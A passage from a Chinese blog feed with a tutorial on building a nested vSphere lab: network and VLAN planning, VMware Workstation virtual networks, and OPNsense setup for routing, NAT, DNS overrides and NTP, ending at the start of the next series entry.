    <category term="vSphere Lab" scheme="https://www.catwhiteangel.com/categories/Virtualization/vSphere-Lab/"/>
    <category term="VMware" scheme="https://www.catwhiteangel.com/tags/VMware/"/>
    <category term="ESXi" scheme="https://www.catwhiteangel.com/tags/ESXi/"/>
    <category term="OPNsense" scheme="https://www.catwhiteangel.com/tags/OPNsense/"/>
    <category term="VLAN" scheme="https://www.catwhiteangel.com/tags/VLAN/"/>
    <content>
      <![CDATA[<h1>从零搭建企业虚拟化平台1——实验环境搭建：地址规划、宿主网络与 OPNsense 边界</h1><div class="note info flat"><p><strong>📚 从零搭建企业虚拟化平台 · 全系列导航</strong></p><ul><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-00-prologue/">平台0 · 序章：缘起与全局规划</a></li><li><strong>平台1 · 环境：OPNsense 与网段搭建　← 本篇</strong></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-02-esxi/">平台2 · 计算：三台嵌套 ESXi</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-03-vcenter/">平台3 · vCenter：部署与建集群</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-04-network/">平台4 · 网络：vDS 与端口组</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-05-storage/">平台5 · 存储：vSAN 全闪</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-06-ha-drs/">平台6 · 高可用：HA 与 DRS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-07-ad-dns/">平台7 · 身份：AD 域控与 DNS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-08-ntp-wrapup/">平台8 · 收尾：时间同步、vLCM 与全系列回顾</a></li></ul></div><p>序章定下了砚行物流的目标架构，以及「全部实验在一台 64 GB 笔记本上以嵌套方式完成」这一前提。从本篇起进入动手阶段。</p><p>地基要先打牢。本篇完成三件事：确定贯穿全系列的地址与命名规划；准备作为最底层（L0）的宿主及其虚拟网络；部署边界设备 OPNsense（<code>yx-fw01</code>），由它承担出网、网段间路由，以及在 AD 上线之前临时充当 DNS 与 NTP。本篇结束时，整套实验将拥有一个可路由、可出网、可解析名称的网络底座——后续的 ESXi 与 vCenter 才有立足之地。</p><div class="note info flat"><p><strong>阅读约定</strong>：提示框用于展开重要概念，警告框用于标注易错点与不可逆操作。文中所有网段、地址、主机名与命令均可直接照抄复现。本篇基于 VMware Workstation Pro 26H1 与 OPNsense 26.1，菜单位置可能随版本略有出入。此外，凡实验环境为简化而偏离真实企业做法之处，将以「生产环境对照」提示框单独标注，说明真实部署会如何取舍——以免把实验室的权宜当作生产范式。这一约定将贯穿整个系列。</p></div><span id="more"></span><h2 id="1-全局规划：地址与命名">1 全局规划：地址与命名</h2><p>在敲第一条命令之前，先把整套环境的「地理」定下来。这张规划是后续每一篇都会引用的基准，一旦确定就不再变动。</p><p>vSphere 的惯例是按功能切分网络流量。vMotion 与 vSAN 若与管理流量挤在同一网段，既互相抢占带宽，也削弱了隔离。六个网段及其用途如下。</p><table><thead><tr><th>网段</th><th>VLAN</th><th>子网</th><th>网关</th><th>是否路由</th></tr></thead><tbody><tr><td>管理 Management</td><td>10</td><td>10.0.10.0/24</td><td>10.0.10.1</td><td>是</td></tr><tr><td>vMotion</td><td>20</td><td>10.0.20.0/24</td><td>—</td><td>否（二层隔离）</td></tr><tr><td>vSAN</td><td>30</td><td>10.0.30.0/24</td><td>—</td><td>否（二层隔离）</td></tr><tr><td>业务 Server</td><td>40</td><td>10.0.40.0/24</td><td>10.0.40.1</td><td>是</td></tr><tr><td>存储 Storage</td><td>50</td><td>10.0.50.0/24</td><td>—</td><td>否（二层隔离）</td></tr><tr><td>客户端 Client</td><td>60</td><td>10.0.60.0/24</td><td>10.0.60.1</td><td>是</td></tr></tbody></table><div class="note info flat"><p><strong>为什么有三个网段不设网关</strong>：vMotion、vSAN 与存储（iSCSI/NFS）都是主机与主机、主机与存储之间的内部通信，不需要跨网段路由，也不应当被路由到别处。将它们设为纯二层、不给网关，既是性能考量，也是安全边界。因此在 OPNsense 上，我们只会为「管理、业务、客户端」三个需要路由的网段创建接口。</p></div><p>静态地址分配如下，本系列所有节点均使用固定地址（DHCP 留待 AD 篇，届时由域控统一下发）。</p><p><strong>管理网（10.0.10.0/24）</strong></p><table><thead><tr><th>地址</th><th>角色</th><th>主机名</th></tr></thead><tbody><tr><td>.1</td><td>网关（OPNsense 管理口）</td><td>yx-fw01</td></tr><tr><td>.5</td><td>宿主管理地址（Windows 笔记本）</td><td>—</td></tr><tr><td>.11 / .12 / .13</td><td>ESXi 管理口</td><td>yx-esxi01 / 02 / 03</td></tr><tr><td>.20</td><td>vCenter Server</td><td>yx-vc01</td></tr></tbody></table><p><strong>业务网（10.0.40.0/24）</strong></p><table><thead><tr><th>地址</th><th>角色</th><th>主机名</th></tr></thead><tbody><tr><td>.1</td><td>网关</td><td>yx-fw01</td></tr><tr><td>.10</td><td>主域控（AD、DNS、NTP）</td><td>yx-dc01</td></tr><tr><td>.11</td><td>辅域控（AD、DNS）</td><td>yx-dc02</td></tr><tr><td>.20</td><td>外置存储管理口（TrueNAS）</td><td>yx-nas01</td></tr><tr><td>.30</td><td>管理跳板机</td><td>yx-jump01</td></tr></tbody></table><p>vMotion、vSAN、存储三段的主机地址（各主机的 <code>.11/.12/.13</code> 等）将在用到它们的篇章中分配，此处从略。</p><p>主机名统一采用 <code>yx-&lt;角色&gt;&lt;序号&gt;</code> 的形式，完整域名形如 <code>yx-dc01.corp.yanxing.internal</code>。AD 林根域为 <code>corp.yanxing.internal</code>，NetBIOS 域名为 <code>YANXING</code>。选用 <code>.internal</code> 而非已被弃用的 <code>.local</code>，是因为后者会与 mDNS 冲突，而 <code>.internal</code> 已被选定/保留用于私有 DNS 命名空间，不应出现在公共 DNS 根区。</p><p><strong>关于域控的位置，以及为什么 AD 排在后面。</strong> 细心的读者会注意到，两台域控 <code>yx-dc01</code>、<code>yx-dc02</code> 本身就是虚拟机——它们将运行在我们即将搭建的这套 vSphere 集群之上。这也正是整个系列把身份层（AD）放在平台层（ESXi、vCenter、存储）之后的根本原因：在这套全虚拟实验里，承载域控的平台必须先存在，域控才有立足之处。这是单机全虚拟环境特有的「先有鸡还是先有蛋」——身份基础设施与承载它的平台，是在同一台笔记本上从零一起长出来的。与此同时，vCenter 的部署并不依赖 AD，只依赖正反向 DNS 与正确时间（已由 OPNsense 临时顶上），因此没有任何因素迫使 AD 提前；我们便顺势把它留作后面一个完整的内容（第八篇，AD 与 DNS 合并）。</p><p>需要澄清的是，「把域控做成虚拟机」这件事本身在现实中完全成立，且早已是主流——微软自 Windows Server 2012 起便通过 VM-GenerationID 等机制为虚拟化域控提供官方支持。域控负载轻，独占物理服务器并不划算，虚拟化后还能享受高可用与快速重建之便。</p><div class="note primary flat"><p><strong>生产环境对照</strong>：现实中域控普遍虚拟化，但会刻意把多台 DC 分散到不同的物理宿主、存储乃至站点，并保留一条<strong>不依赖 AD</strong> 的恢复路径——常见做法是留一台物理域控，或确保能绕过 AD 登入虚拟化平台，以免落入「AD 挂掉 → 登不进 vCenter → 无法修复 AD」的循环依赖。此外，持有 PDC 模拟器角色的域控应关闭宿主（VMware Tools）时间同步、只认外部 NTP，避免双时间源打架引发 Kerberos 故障（详见第九篇）。本实验两台 DC 同处一台笔记本、且 vCenter 之上承载着 DC——这恰是生产中要极力规避的单点与循环依赖，仅因实验条件所限而为之。</p></div><h2 id="2-宿主准备（L0）">2 宿主准备（L0）</h2><div class="note warning flat"><p><strong>动手前的硬性前提</strong>：① 宿主为 64 GB 内存 + NVMe 固态硬盘的 Windows 笔记本；② BIOS/UEFI 中已启用 CPU 虚拟化（Intel VT-x / AMD-V，若有 VT-d 一并开启）；③ 为实验预留至少 400 GB 可用空间。三者缺一，后续都会在某一步卡住。</p></div><p><strong>安装 Workstation Pro。</strong> 自 Broadcom 支持门户下载 VMware Workstation Pro 26H1。该产品现已对包括商业在内的所有用途免费，无需许可密钥，安装后即为完整版。</p><p><strong>处理与 Hyper-V / WSL 的冲突。</strong> 这是笔记本宿主上最容易被忽略、却可能直接卡死整套实验的一点。Windows 上 Workstation 跑虚拟机有两条互斥的底层路径：</p><ul><li>宿主<strong>没有</strong>启用任何虚拟机监控程序时，Workstation 直接握有 VT-x，能把 <code>Virtualize Intel VT-x/EPT</code> 完整透传给 guest——这是嵌套 ESXi <strong>唯一</strong>能用的模式。</li><li>宿主启用了 Hyper-V、WSL2、内核隔离（Core Isolation / 内存完整性）、Credential Guard、Windows 沙盒等任一项时，Windows 自己的 hypervisor 会占住 VT-x，Workstation 只能改走 Windows Hypervisor Platform（WHP）与之共存。普通虚拟机在这种共存模式下照样能跑（性能略有损耗），<strong>但嵌套硬件虚拟化在这种模式下不被支持</strong>——需要 <code>Virtualize Intel VT-x/EPT</code> 的 ESXi 虚拟机会被直接拦下。</li></ul><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bcdedit /<span class="built_in">set</span> hypervisorlaunchtype off</span><br></pre></td></tr></table></figure><p>重启后生效；需要恢复 WSL 时，再执行</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bcdedit /<span class="built_in">set</span> hypervisorlaunchtype auto</span><br></pre></td></tr></table></figure><p>并重启。同时，在「Windows 安全中心 → 设备安全 → 内核隔离」中关闭「内存完整性」。</p><div class="note danger flat"><p>关闭虚拟机监控程序会<strong>同时停用 WSL2、Hyper-V、Windows 沙盒与凭据保护</strong>。若你日常依赖 WSL2，请将其视为一个需要权衡的开关：要么在实验期间关闭、用完再开，要么接受共存带来的性能折损。请勿在不了解影响的情况下盲目执行。</p></div><div class="note primary flat"><p><strong>生产环境对照</strong>：真实企业的 ESXi 运行在通过 VMware 兼容性列表（HCL）认证的物理服务器上，配备冗余电源、ECC 内存、带外管理（iDRAC / iLO）以及经认证的存储控制器，并以成对或成组的方式部署，以容忍单机故障。本实验把这一切折叠进一台笔记本上的嵌套虚拟机——正因如此，「关闭 Hyper-V」之类的步骤在真实部署中根本不存在，物理 ESXi 直接独占硬件。嵌套环境足以学习并验证架构与流程，但其性能、稳定性与故障域都不应等同于生产。</p></div><h2 id="3-宿主虚拟网络">3 宿主虚拟网络</h2><p>这一节决定了整套实验的网络骨架，务必照抄。我们在 Workstation 中准备三个虚拟网络：</p><ul><li><strong>VMnet8（NAT，默认已存在）</strong>——作为 OPNsense 的 WAN，借宿主出公网。</li><li><strong>VMnet2（仅主机 Host-only）</strong>——承载<strong>管理网</strong>（10.0.10.0/24），宿主也接入此网以管理整个实验室。</li><li><strong>VMnet3（仅主机 Host-only）</strong>——作为承载其余 VLAN 的<strong>中继干道</strong>，宿主不接入。</li></ul><div class="note info flat"><p><strong>为什么管理网与中继干道分开</strong>：管理网需要让 Windows 宿主直接访问（以打开 OPNsense 与 ESXi 的管理界面），因此它是一个不带标签的扁平网段，宿主在其上拥有一个地址。其余网段（业务、客户端等）则以带 VLAN 标签（802.1Q）的形式共用一根「中继干道」，由 OPNsense 的 VLAN 子接口和后续 ESXi 的虚拟交换机按标签区分。把两者拆到不同的 VMnet 上，可以彻底避开宿主网卡默认地址与网关地址相撞的麻烦，复现起来最稳妥。</p></div><p>以<strong>管理员身份</strong>打开 Workstation 的「虚拟网络编辑器（Virtual Network Editor）」，按下表配置：</p><table><thead><tr><th>虚拟网络</th><th>类型</th><th>子网</th><th>本地 DHCP</th><th>宿主虚拟网卡</th></tr></thead><tbody><tr><td>VMnet8</td><td>NAT</td><td>保持默认</td><td>保持启用</td><td>保持</td></tr><tr><td>VMnet2</td><td>仅主机</td><td>10.0.10.0 / 255.255.255.0</td><td><strong>关闭</strong></td><td><strong>保留</strong></td></tr><tr><td>VMnet3</td><td>仅主机</td><td>172.31.255.0 / 255.255.255.0</td><td><strong>关闭</strong></td><td><strong>取消</strong></td></tr></tbody></table><p>随后到 Windows 的「网络连接」中，找到「VMware Network Adapter VMnet2」，为其设置静态地址：IP <code>10.0.10.5</code>、掩码 <code>255.255.255.0</code>、<strong>不填网关</strong>。VMnet3 不需要宿主网卡，故无需配置。</p><p>VMnet3 填入的 <code>172.31.255.0/24</code> 仅是 Workstation 要求的占位值：它只承载带 VLAN 标签的流量、本身不路由、宿主也不接入，因此这个子网地址实际不起作用，照填即可，不必纠结。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-01-environment/20260623223136006.png" alt=""></p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-01-environment/20260623211538206.png" alt=""></p><div class="note warning flat"><p>关闭 VMnet2、VMnet3 的本地 DHCP 非常关键：实验室内的地址全部由我们手工或由 OPNsense 控制，多一个 Workstation 自带的 DHCP 只会制造地址冲突与难查的故障。</p></div><p>至于嵌套环境中「内层虚拟机互相不通」这一经典问题，其根源通常与多 MAC 流量经过虚拟交换环境时的二层安全策略有关。若 nested ESXi 跑在物理 ESXi 之上，重点是外层 port group 的 Promiscuous mode / Forged transmits；本系列使用 Workstation 作 L0，具体处理会放到下一篇 ESXi 安装时统一说明。</p><div class="note primary flat"><p><strong>生产环境对照</strong>：真实企业中，每台 ESXi 至少配备两块物理网卡，分别上联到两台物理交换机，做链路聚合或主备冗余，以容忍单网卡或单交换机的故障；VLAN 由托管交换机的 802.1Q 干道承载，而管理、vMotion、vSAN 往往被分配到彼此独立的物理上联、甚至独立网卡上，以保证带宽与隔离。本实验以单一虚拟网络承载全部流量，不具备任何物理冗余——这是实验室与生产之间最实质的差距之一。读到后续 vDS 与 vSAN 篇时，请记得真实环境里这些流量背后都站着冗余的物理链路。</p></div><h2 id="4-部署-OPNsense-虚拟机">4 部署 OPNsense 虚拟机</h2><p>从 <a href="https://opnsense.org">opnsense.org</a> 下载当前稳定版的安装镜像（选择 <code>dvd</code> 类型、<code>amd64</code> 架构）。在 Workstation 中新建虚拟机，要点如下：</p><ul><li>客户机操作系统：FreeBSD 14 64-bit。</li><li>内存 2 GB、处理器 2 核、磁盘 16 GB（SCSI）。</li><li><strong>三块网卡</strong>，依次连接 VMnet8（WAN）、VMnet2（管理 LAN）、VMnet3（中继干道）。</li><li>载入上面下载的 ISO，启动安装。</li></ul><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-01-environment/20260623150402107.png" alt=""></p><div class="note info flat"><p><strong>关于安装时的内存提示</strong>：本实验仅承担路由、NAT、DNS 与 NTP，2 GB 在轻量负载下通常可以运行；但这低于官方最低/合理规格，若安装器报内存警告、选择 ZFS，或后续启用 IDS/IPS、代理等功能，建议提高到 3–4 GB。若极限压缩内存，也可选择 UFS 以降低开销。</p></div><p>安装程序登录账号为 <code>installer</code>、密码 <code>opnsense</code>；按引导将系统装入磁盘，并设置 <code>root</code> 密码。安装完成后移除 ISO 并重启。</p><p>重启后进入 OPNsense 控制台菜单，选择「Assign Interfaces」分配接口：</p><ul><li><strong>WAN</strong> → 连接 VMnet8 的那块网卡，地址方式选 DHCP（由 VMware NAT 自动下发，从而获得公网出口）。</li><li><strong>LAN</strong> → 连接 VMnet2 的那块网卡，手工设为 <code>10.0.10.1/24</code>，<strong>不</strong>在该接口上启用 DHCP。</li><li>第三块网卡（VMnet3）暂不在控制台分配，稍后在 Web 界面以 VLAN 子接口的形式使用。</li></ul><div class="note warning flat"><p>分配接口时，三块网卡在系统里通常显示为 <code>vtnet0/1/2</code> 或 <code>em0/1/2</code>，<strong>顺序未必与你在 Workstation 里添加的顺序一致</strong>。请对照各网卡的 MAC 地址（可在 Workstation 的虚拟机设置中查看）逐一辨认，切勿想当然，否则 WAN 与 LAN 接反会导致后续完全无法访问。</p></div><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-01-environment/20260623153758476.png" alt=""></p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-01-environment/20260623154944328.png" alt=""></p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-01-environment/20260623155047854.png" alt=""></p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-01-environment/20260623155127696.png" alt=""></p><h2 id="5-OPNsense-基础配置（Web-界面）">5 OPNsense 基础配置（Web 界面）</h2><p>在宿主上用浏览器访问 <code>https://10.0.10.1</code>，以 <code>root</code> 登录，进入初始向导（<code>System → Wizard</code>）。向导分几页，逐页 <code>Next</code> 即可：在 <code>General Information</code> 填主机名 <code>yx-fw01</code>、域 <code>corp.yanxing.internal</code>；<code>Network [LAN]</code> 确认 <code>IP Address</code> 为 <code>10.0.10.1/24</code>、<code>Configure DHCP server</code> 保持不勾； <code>Deployment type</code> 中， <code>Automatic DHCP/DNS registration</code> 和 <code>Optimize for IPsec</code> 保持不勾。除上述几项外，向导各页一律保持默认，完成后进入主界面。</p><p><strong>创建 VLAN 设备。</strong> 进入 <code>Interfaces → Devices → VLAN</code>，点 <code>+</code> 新建：<code>Parent</code> 选接 VMnet3 的那块网卡（按 MAC 辨认，通常为 <code>em2</code>），<code>VLAN tag</code> 填 <code>40</code>，<code>Description</code> 填 <code>SERVER</code>，<code>VLAN priority</code> 保持默认；<code>Save</code> 后再建一条，<code>VLAN tag</code> 填 <code>60</code>、<code>Description</code> 填 <code>CLIENT</code>，最后 <code>Apply</code>。<code>Device</code> 字段留空，系统会自动命名（实际为 <code>vlan01</code>、<code>vlan02</code>）。vMotion（20）、vSAN（30）、存储（50）不在此创建——它们不路由，等 ESXi 接入这根干道时才用到。</p><p><strong>分配并命名接口。</strong> 进入 <code>Interfaces → Assignments</code>，把刚建的两个 VLAN 设备添加为新接口；逐个点开编辑：勾选 <code>Enable Interface</code>，<code>IPv4 Configuration Type</code> 选 <code>Static IPv4</code>，<code>IPv4 address</code> 分别填 <code>10.0.40.1/24</code>（SERVER）与 <code>10.0.60.1/24</code>（CLIENT）。接口的 <code>Description</code> 即为其在菜单与列表中的显示名，分别设为 <code>SERVER</code> 与 <code>CLIENT</code>。<code>Save</code> 并 <code>Apply</code> 后，在 <code>Interfaces → Overview</code> 中即可看到 <code>SERVER (opt1)</code>、<code>CLIENT (opt2)</code> 两行，各自带正确地址；括号内的 <code>opt1</code>/<code>opt2</code> 是系统内部标识。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-01-environment/20260623161231658.png" alt=""></p><div class="note warning flat"><p><strong>新建接口默认不放行任何流量。</strong> 除 LAN 外，每个新建接口的防火墙规则默认为空，即「全部拦截」。须到 <code>Firewall → Rules</code>，在 <code>SERVER</code>、<code>CLIENT</code> 两个标签页下各加一条放行规则：<code>Action</code> 选 <code>Pass</code>、<code>Direction</code> 选 <code>in</code>、<code>TCP/IP Version</code> 选 <code>IPv4</code>、<code>Protocol</code> 选 <code>any</code>、<code>Source</code> 选该接口的 <code>SERVER net</code> / <code>CLIENT net</code>（即本网段）、<code>Destination</code> 选 <code>any</code>。<code>Save</code> 后务必点 <code>Apply changes</code> 才会生效——页面标题的 <code>[new]</code> 消失即表示已下发。否则这两段既不能上网、也不能互通，且这种「配好了却不通」的故障极难一眼看出。</p></div><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-01-environment/20260623161554639.png" alt=""></p><p><strong>确认出站 NAT。</strong> 进入 <code>Firewall → NAT → Outbound</code>，默认的 <code>Automatic</code> 模式会为所有 RFC1918 私网段做源地址转换，<code>SERVER</code>、<code>CLIENT</code> 段通常已被覆盖；确认一下即可。</p><div class="note primary flat"><p><strong>生产环境对照</strong>：本实验让 OPNsense 一肩挑起「边界防火墙」与「网段间路由」两件事（即所谓 router-on-a-stick），这在中小规模或实验室中很常见。但在较大规模的真实企业里，二者通常是分离的：网段间路由由三层核心交换机以完成，而边界防火墙（多为 Palo Alto、Fortinet 等专用设备，并以 HA 双机部署）只负责边界管控。把内部路由压在边界设备上会形成性能与可用性的瓶颈，因此生产环境鲜少如此。</p></div><p><strong>配置 DNS（Unbound）。</strong> OPNsense 默认解析器 Unbound 已启用。进入 <code>Services → Unbound DNS → Overrides</code>，在 <code>Host Overrides</code> 处为各静态节点添加记录，每条都勾选 <code>Add PTR record</code>（本版本中它是每条记录里的独立选项，用于同时生成反向解析）。可现在就把后续要用的几台一并加好：</p><table><thead><tr><th>Host</th><th>Domain</th><th>Type</th><th>IP address</th></tr></thead><tbody><tr><td>yx-fw01</td><td>corp.yanxing.internal</td><td>A (IPv4 address)</td><td>10.0.10.1</td></tr><tr><td>yx-esxi01</td><td>corp.yanxing.internal</td><td>A (IPv4 address)</td><td>10.0.10.11</td></tr><tr><td>yx-esxi02</td><td>corp.yanxing.internal</td><td>A (IPv4 address)</td><td>10.0.10.12</td></tr><tr><td>yx-esxi03</td><td>corp.yanxing.internal</td><td>A (IPv4 address)</td><td>10.0.10.13</td></tr><tr><td>yx-vc01</td><td>corp.yanxing.internal</td><td>A (IPv4 address)</td><td>10.0.10.20</td></tr></tbody></table><p>随后到 <code>Services → Unbound DNS → General</code>，勾选 <code>Do not register system A/AAAA records</code> 并 <code>Apply</code>。这一步不可省略。</p><div class="note warning flat"><p><strong>否则主机名会解析到所有接口。</strong> 默认情况下，OPNsense 会把本机主机名（<code>yx-fw01</code>）自动注册到它每一个接口的地址上。若不勾 <code>Do not register system A/AAAA records</code>，<code>nslookup yx-fw01</code> 会同时返回管理口、<code>SERVER</code>、<code>CLIENT</code>，乃至 WAN 的 NAT 地址——内部域名里混进一个公网侧地址，既不干净、语义也错。勾上之后，主机名只解析到 Host Override 指定的管理口 <code>10.0.10.1</code>，正反向都精确。</p></div><div class="note info flat"><p><strong>正反向解析与 vCenter 的隐藏依赖</strong>：<code>yx-vc01</code>（10.0.10.20）这条务必现在就建好，且带 PTR——第四篇部署 vCenter 时，它会校验自身 FQDN 能否被正、反向解析，缺一不可，否则会卡在安装阶段。其余 esxi 三条第三篇即用，一并建了省事。域控（dc01/dc02）位于业务网、且之后由 AD 自己的 DNS 接管，此处先不加。</p></div><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-01-environment/20260623162052694.png" alt=""></p><p><strong>配置 NTP。</strong> 进入 <code>Services → Network Time → General</code>，启用服务。<code>Time servers</code> 保留自带的 <code>0~3.opnsense.pool.ntp.org</code> 默认池即可（<code>Pool</code> 已勾选），无需改成其它源；建议把第一行的 <code>Iburst</code> 勾上，以加快首次同步。<code>Interfaces</code> 选 <code>All (recommended)</code>，让各内网段都能查询。<code>Save</code> 后点右上角启动。后续 ESXi 主机与各节点都将以 <code>10.0.10.1</code> 作为临时时间源，直至 AD 篇由域控的 PDC 模拟器接管权威时间。</p><div class="note info flat"><p><strong>冷启动时满屏 <code>Not Considered</code> 是正常反应，不是出错。</strong> 刚启用 NTP 后到 <code>Services → Network Time → Status</code> 查看，多半看到所有候选源状态为 <code>Not Considered</code>、<code>Offset</code> 高达数百毫秒。ntpd 会连续轮询几轮、攒够样本并剔除离群值后，才挑定一个源（状态变为 <code>Active Peer</code>，对应 ntpq 里带 <code>*</code> 的同步源）。几分钟后刷新，待 <code>Reach</code> 升高、出现 <code>Active Peer</code> 且其 <code>Offset</code> 收敛到毫秒级，即表示同步完成。勾了 <code>Iburst</code> 会快很多。</p></div><div class="note primary flat"><p><strong>生产环境对照</strong>：本实验让 OPNsense 临时承担 DNS 与 NTP，只是为了在 AD 尚未就位时先让平台运转起来。真实企业里，内网 DNS 自始即由 AD 集成 DNS 承担（必要时配合外部权威 DNS，以 split-horizon 方式分离内外解析视图），并不依赖边界防火墙解析内部名称；时间则由可靠的外部源或机房内的 stratum-1 授时设备（如 GPS 授时）逐级下发，域内以 PDC 模拟器为权威。后续 AD 篇会把解析与授时的权威交还给域控，使其回到生产应有的形态——本篇的 OPNsense 方案是过渡，而非范式。</p></div><p>至于 DHCP——本阶段所有节点都是静态地址，并不需要它，故暂不配置；它将在 AD 篇随域控一同登场。</p><h2 id="6-验证与检查点">6 验证与检查点</h2><p>逐项验证，确保地基无误再往下走。</p><ol><li><strong>WAN 与 DNS</strong>：在 OPNsense 的 <code>Interfaces → Diagnostics → Ping</code> 中 <code>ping 1.1.1.1</code>，再 <code>ping opnsense.org</code>。前者通说明出网正常，后者通说明 DNS 解析正常。</li><li><strong>网关与接口</strong>：在宿主上打开 <code>https://10.0.10.1</code> 能进入界面，且 <code>ping 10.0.10.1</code> 通（管理网与宿主同二层直连）。业务、客户端两个网关 <code>10.0.40.1</code>、<code>10.0.60.1</code> 不在宿主的直连网段内，而宿主未配默认网关，故<strong>默认 ping 不到，这是正常的</strong>；改为在 <code>Interfaces → Overview</code> 中确认 <code>SERVER</code>、<code>CLIENT</code> 两行状态为绿色、各自带正确地址，即证明两个网关已就绪。若确实想从宿主直接 ping 通它们，可临时加两条静态路由（管理员 PowerShell）：<code>route add 10.0.40.0 mask 255.255.255.0 10.0.10.1</code> 与 <code>route add 10.0.60.0 mask 255.255.255.0 10.0.10.1</code>，这同时也验证了 OPNsense 的网段间路由。</li><li><strong>名称解析</strong>：在宿主上执行 <code>nslookup yx-fw01.corp.yanxing.internal 10.0.10.1</code>，应<strong>只</strong>解析出 <code>10.0.10.1</code>（若返回多个地址，回到上一步勾选 <code>Do not register system A/AAAA records</code>）；反向 <code>nslookup 10.0.10.1 10.0.10.1</code> 应解析回该域名。</li><li><strong>时间同步</strong>：<code>Services → Network Time → Status</code> 中出现 <code>Active Peer</code>，其 <code>Offset</code> 收敛到毫秒级（冷启动需等几分钟）。</li></ol><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-01-environment/20260623164241232.png" alt=""></p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-01-environment/20260623165409200.png" alt=""></p><div class="note success flat"><p><strong>本篇检查点</strong>：① OPNsense 可访问公网并能解析域名；② 宿主可打开 Web 界面、ping 通管理网网关，且 <code>SERVER</code>、<code>CLIENT</code> 接口在 <code>Interfaces → Overview</code> 中状态正常；③ <code>nslookup</code> 对 <code>yx-fw01</code> 的正、反向解析均成功；④ NTP 已同步。四项全部通过，方可进入下一篇。</p></div><div class="note danger flat"><p>进入下一篇之前，请为 OPNsense 虚拟机拍一个干净快照（命名如 <code>baseline-clean</code>）。整套实验运行于单台笔记本之上，是一个不折不扣的单点；养成「每完成一个稳定阶段即快照」的习惯，能在实验出错时以秒级代价回退，而不必从头再来。</p></div><p>补充一点：宿主默认只与管理网处于同一二层，可直达 ESXi 与 vCenter 的管理口；若需从宿主直接访问业务或客户端网段（例如远程登录某台域控），可在宿主上添加一条指向 <code>10.0.10.1</code> 的静态路由，或通过后续部署的跳板机操作。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">route <span class="literal">-p</span> add <span class="number">10.0</span>.<span class="number">40.0</span> mask <span class="number">255.255</span>.<span class="number">255.0</span> <span class="number">10.0</span>.<span class="number">10.1</span></span><br><span class="line">route <span class="literal">-p</span> add <span class="number">10.0</span>.<span class="number">60.0</span> mask <span class="number">255.255</span>.<span class="number">255.0</span> <span class="number">10.0</span>.<span class="number">10.1</span></span><br></pre></td></tr></table></figure><h2 id="结语">结语</h2><p>至此，砚行物流的实验室已经有了一张可路由、可出网、可解析名称、时间一致的网络底座，边界设备 OPNsense 也已就位。这一篇看似只是「搭网络」，却埋下了后续几篇赖以成立的两块基石——正反向解析与统一时间。</p><p>下一篇，我们将在这根干道上安装三台嵌套 ESXi 主机。</p><!-- flag of hidden posts -->]]>
    </content>
    <id>https://www.catwhiteangel.com/enterprise-vsphere-lab-01-environment/</id>
    <link href="https://www.catwhiteangel.com/enterprise-vsphere-lab-01-environment/"/>
    <published>2026-06-23T02:26:00.000Z</published>
    <summary>确定贯穿全系列的网段、VLAN 与命名规划，配置 VMware Workstation 宿主虚拟网络与中继干道，部署 OPNsense 承担出网、网段间路由，以及 AD 上线之前的临时 DNS 与 NTP，为嵌套 vSphere 实验打好网络底座。</summary>
    <title>从零搭建企业虚拟化平台1——实验环境搭建：地址规划、宿主网络与 OPNsense 边界</title>
    <updated>2026-06-23T02:26:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Virtualization" scheme="https://www.catwhiteangel.com/categories/Virtualization/"/>
    <category term="vSphere Lab" scheme="https://www.catwhiteangel.com/categories/Virtualization/vSphere-Lab/"/>
    <category term="VMware" scheme="https://www.catwhiteangel.com/tags/VMware/"/>
    <category term="vSphere" scheme="https://www.catwhiteangel.com/tags/vSphere/"/>
    <content>
      <![CDATA[<h1>从零搭建企业虚拟化平台0——序章：背景、目标架构与全虚拟实验的可行性</h1><div class="note info flat"><p><strong>📚 从零搭建企业虚拟化平台 · 全系列导航</strong></p><ul><li><strong>平台0 · 序章：缘起与全局规划　← 本篇</strong></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-01-environment/">平台1 · 环境：OPNsense 与网段搭建</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-02-esxi/">平台2 · 计算：三台嵌套 ESXi</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-03-vcenter/">平台3 · vCenter：部署与建集群</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-04-network/">平台4 · 网络：vDS 与端口组</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-05-storage/">平台5 · 存储：vSAN 全闪</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-06-ha-drs/">平台6 · 高可用：HA 与 DRS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-07-ad-dns/">平台7 · 身份：AD 域控与 DNS</a></li><li><a 